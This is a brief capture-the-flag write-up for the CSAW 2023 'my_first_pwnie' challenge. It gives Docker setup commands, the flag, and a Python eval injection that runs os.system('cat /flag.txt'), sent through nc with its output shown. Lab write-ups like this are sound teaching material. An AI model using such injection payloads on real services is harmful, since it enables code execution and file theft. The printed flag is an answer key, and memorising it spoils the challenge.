my_first_pwnie

Setup

docker build -t csaw23/my_first_pwnie .
docker run --rm -p 31137:31137 csaw23/my_first_pwnie

Flag

csawctf{neigh______}

Solution

Input eval("__import__('os').system('cat /flag.txt')").

root@kali:~/ctf/CSAW-CTF-2023-Quals/pwn/my_first_pwnie# echo $'eval("__import__(\'os\').system(\'cat /flag.txt\')")' | nc localhost 31137
What's the password? csawctf{neigh______}
You entered `0`
Nay, that's not it.

References